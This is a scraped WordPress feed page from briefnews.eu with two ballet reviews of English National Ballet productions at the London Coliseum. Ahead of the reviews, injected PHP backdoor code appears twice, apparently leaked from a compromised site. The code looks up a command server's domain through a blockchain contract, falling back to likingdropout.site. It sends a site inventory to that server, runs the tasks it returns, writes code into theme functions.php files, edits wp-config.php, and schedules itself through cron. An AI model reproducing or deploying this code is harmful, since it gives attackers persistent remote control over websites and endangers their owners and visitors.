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}elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; 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}elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Sylphide – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Thu, 18 Jan 2018 02:03:11 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Sylphide – Brief News https://briefnews.eu 32 32 Le Jeune Homme et La Mort/ La Sylphide review: English National Ballet London Coliseum https://briefnews.eu/le-jeune-homme-et-la-mort-la-sylphide-review-english-national-ballet-london-coliseum/ https://briefnews.eu/le-jeune-homme-et-la-mort-la-sylphide-review-english-national-ballet-london-coliseum/#respond Thu, 18 Jan 2018 02:03:11 +0000 http://briefnews.eu/le-jeune-homme-et-la-mort-la-sylphide-review-english-national-ballet-london-coliseum/

ENB double billENB

Tamara Rojo and Ivan Vasiliev in Le Jeune Homme et La Mort

Two hugely contrasting ballets brought back one star and launched another in a night that, once again, asserted the ENB’s impressive renaissance.

Returning hero Ivan Vasiliev was the hot ticket as the stricken and shirtless Le Jeune Homme of the title in Jean Cocteau’s incandescent showpiece for male virtuosity. Throw in Tamara Rojo as his cruel mistress and you have an explosive match made in Heaven (or Hell in the poor chap’s case).

Following that, La Sylphide runs the risk of appearing twee in tweed, but a spectacular lead from rising star Aitor Arrieta gave a stunned audience two male dance divas for the price of one.

On a side note, catch the ever-magnificent (but sadly soon-departing) Cesar Corrales dance La Jeune Homme this Saturday if you don’t already have tickets. 

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ENB guest star Ivan Vasiliev

Le Jeune Homme is rightly viewed as one of the greatest jewel’s in a male dancer’s crown.

Roland Petit’s explosive, emotional choreography is a dizzying succession of leaps and pirouettes that require muscularity, control and elegance. Modern steps with classical ballet lines soar over Bach’s Passacaglia and Fugue in C Minor.

My breath was no sooner taken by one corkscrew spin to the ground, than Vasiliev was leaping over tables and swinging (almost) from the rafters. His technique is jaw-dropping, even if he acted rather more with his face than his body. 

It’s a tough act to partner, but Tamara Rojo rose to the challenge with icy majesty. 

ENB Tamara Rojo and Ivan VasilievENB

ENB Tamara Rojo and Ivan Vasiliev

From her dramatic entry to the bitter end she made us believe a man could lose his mind and his life over such a tantalising temptress.

The concept may feel a little melodramatic and achingly French New Wave, but Vasiliev and Rojo on stage together at the height of their powers dancing this exquisite choreography is something no dance fan should miss.

How can the poor ENB corps de ballet and principals follow that, clad in tartan and tutus in a whimsical Scottish fantasy?

With ease, it seemed, as three powerful leads and a vigorous corps injected purpose and brio into La Sylphide.

With staging by three luminaries of Danish ballet, Frank Andersen, Eva Kloborg and Anne Marie Vessel Schlüter, the production explodes with colours, textures and slick visual tricks.

Aitor Arrieta was spectacular as the fickle Highlaird laird James who ditches his sweet fiancee for the flighty Sylph. His feet flickered like the sharpest Scottish blade and his vertical jumps and constant back and forth Tour Jetes were a wonder to behold. With intelligent interpretation and unabashed emotion he is a thrilling new addition to the leading ENB ranks.

As the object of his desire, Alison McWhinney, was a smarter type of Sylph, who mixed the choreographed coquettish foolishness with a knowing glance to the audience and an emotional commitment to the devastating end.

This is a slightly strange traditional ballet which never reaches the usual grande pas de deux. Basically, there’s a lot of foreplay without the finale but the two outstanding leads still kept the audience rapt with ravishing displays of artisty.

ENB La SylphideENB

ENB: La Sylphide is a riot of colour and choreography

There is, however, plenty of drama. Special mention should also go to an energised corps from the exhuberent reels to the massed sylphs in the tragic final act, with a scene-stealing and powerfully danced turn from a dashing and dynamic Henry Dowden as James’ love rival, Gurn.

From a self-consciously modern piece to the fluffiest of classical fantasy, it’s a double bill that shouldn’t work but finds a gleaming and pitiless common thread. Betrayal and tragedy are regular ballet bed fellows and do their work with gusto here.

Death reaped a full harvest in both performances with a disturbing undercurrent that men are the most foolish of creatures when bewitching women are involved. 

ENB: La Jeune Homme et La Mort / La Sylphide is on at the London Coliseum until Saturday January 20. 

Tickets and information call: 020 7836 0111 or go to : www.londoncoliseum.org

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]]> https://briefnews.eu/le-jeune-homme-et-la-mort-la-sylphide-review-english-national-ballet-london-coliseum/feed/ 0 ENB La Sylphide and Song of the Earth double bill is double the delight https://briefnews.eu/enb-la-sylphide-and-song-of-the-earth-double-bill-is-double-the-delight/ https://briefnews.eu/enb-la-sylphide-and-song-of-the-earth-double-bill-is-double-the-delight/#respond Wed, 10 Jan 2018 03:04:10 +0000 http://briefnews.eu/enb-la-sylphide-and-song-of-the-earth-double-bill-is-double-the-delight/

ENB La Sylphide and Song of the EarthENB

ENB La Sylphide and Song of the Earth

An A-list crowd including Liz Hurley, Paul O’Grady, Arlene Phillips, Andy Serkis and Jaques Azagury was out in force for this new ENB programme.

From the tartan and tutu-clad Scottish Highlands to a bleak monochrome dreamscape, this double bill delights in delicious contrasts.

It is the perfect showcase for the versatility and ever-growing confidence of the ENB under artistic director Tamara Rojo. Incredibly, the iconic star made her UK debut in 1996 with the Scottish National Ballet where she danced the lead in La Sylphide.

At 43 she shows no sign of hanging up her pointe shoes and is on her usual imperious form, but it seems fitting that this time around she swaps the youthful romanticism of La Sylphide for the darker themes of Song of the Earth.

Age, wisdom and sublime technique find their perfect outlet in Kenneth MacMillan’s celebrated short piece.

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ENB La SylphideENB

ENB La Sylphide: Jurgita Dronina and Isaac Hernández

The ENB’s latest two-week run at the Coliseum is a tempting offering which may require some hard choices for ballet fans. This week offers Sylphide and Song but next week swaps out Song of the Earth for Le Jeune Homme et La Mort wth the tantalising return of Ivan Vasiliev in the explosive lead role.

Which to choose? With constantly rotating leads in La Sylphide the decadent answer, of course, is both.

Last nights premiere of La Sylphide treated a rapt audience to Jurgita Dronina and Isaac Hernández as the star-crossed tragic pair. 

ENB La Sylphide: Isaac HernándezENB

ENB La Sylphide: Isaac Hernández

With staging by three luminaries of Danish ballet, Frank Andersen, Eva Kloborg and Anne Marie Vessel Schlüter, the production explodes with colours, textures and slick visual tricks.

Hernandez is delightfully fleet-footed as the fickle Highlaird laird who ditches his sweet fiancee (a winsome Anjuli Hudson) for the flighty Sylph. Dronina is lovely in a role which requires her to endlessly tease but never deliver.

This results in a slightly strange traditional ballet which never reaches the usual grande pas de deux. Basically, there’s a lot of foreplay without the finale.

There is, however, plenty of drama. Betrayal and death are regular ballet bed fellows and do their work with gusto here.  

ENB La SylphideENB

ENB La Sylphide

The corps de ballet is on fine and full-bodies form thorughout.

From energetic reels to the massed sylphs in the tragic final act, they dance with clarity and conviction with Precious Adama lovely as the First Sylph. 

The Song of the Earth offers far meatier fare and a stark contrast to the buccolic bombast of La Sylphide.

When it first debuted, MacMillan’s 1965 classic was an unexpected blend of modern attack with elegant lines.  In this latest production Mahler’s mournful score is given wonderful colour by tenor Samuel Sakker and contralto Rhonda Browne in alternating songs. 

Six abstract scenes centre on Rojo, Joseph Caley and Fernando Carratala Coloma as The Woman, The Man and The Messenger of Death.

The dancing ebbs and flows with the music and is uniformly strong. Even so, the slightly vague meditation on life and death feels overlong with some of the scenes somewhat indistinguishable. I found myself drifting off at times before the final acts brings catharsis.

Curiously, by the end the hypnotic repetitions and Mahler’s score actually sneakily combine to result in a deceptively powerful experience. The closing moments are simple and spine-tingling.

ENB: Song of the EarthENB

ENB Song of the Earth: Tamara Rojo, Joseph Caley, Aaron Robison

Rojo, naturally, is dazzling throughout but is a powerhouse of precision and emotional punch. Few dancers communicate from footwork to face with such conviction.

Joseph Caley is a fine partner and strong in group scenes. Coloma dances beautifully but seems slightly out of synch with everyone else on stage. Perhaps an artistic choice as The Messenger of Death?

This is a stimulating and bold double bill that has fine moments. It  ends on a literal high in a moment of magical stagecraft as the fallen Sylph is borne up into the sky and her beloved sobs below.  

ENB: Song of the Earth / La Sylphide is on at the London Coliseum Tuesday 9 – Saturday 13 January 

Tickets and information call: 020 7836 0111 or go to : www.londoncoliseum.org

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